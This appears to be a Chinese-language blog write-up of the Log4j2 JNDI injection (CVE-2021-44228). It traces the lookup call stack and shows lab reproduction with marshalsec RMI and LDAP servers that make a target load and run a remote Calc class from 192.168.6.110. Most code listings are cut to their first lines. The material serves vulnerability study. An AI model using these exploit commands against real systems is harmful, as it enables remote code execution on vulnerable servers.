Log4j2 lookup JNDI注入(CVE-2021-44228)
Log4j2 lookup JNDI注入(CVE-2021-44228)
漏洞概述
Log4j2在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j2的漏洞
影响版本
Apache Log4j 2.x <= 2.14.1
Log4j2依赖
1 | <dependency> |
DNSLog
1 | import org.apache.logging.log4j.Logger; |
Java版本信息呈现
漏洞原理
调用堆栈:
1 | LOGGER.error |
MessagePatternConverter.format()
DNSLog代码中的LOGGER.error()
方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析
StrSubstitutor.resolveVariable()
StrSubstitutor将${和}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能
Interpolator.lookup()
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法
JndiLookup.lookup()
JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串
JndiManager.lookup()
直接委托给InitialContext.lookup()
方法
后续便是常规的JNDI注入路径进行分析
JNDI+RMI
Log4j2.java
1 | import org.apache.logging.log4j.Logger; |
Calc.java编译成class文件放在http服务下(python -m http.server 80)
1 | public class Calc { |
借助marshalsec项目(测试Jdk8u211),启动一个RMI服务器,监听9999端口,并制定加载远程类Calc.class
:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.6.110/#Calc" 9999 |
JNDI+LDAP
Log4j2.java
1 | import org.apache.logging.log4j.Logger; |
marshalsec项目
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.6.110/#Calc" 9999 |
具体参考fastjson1.2.24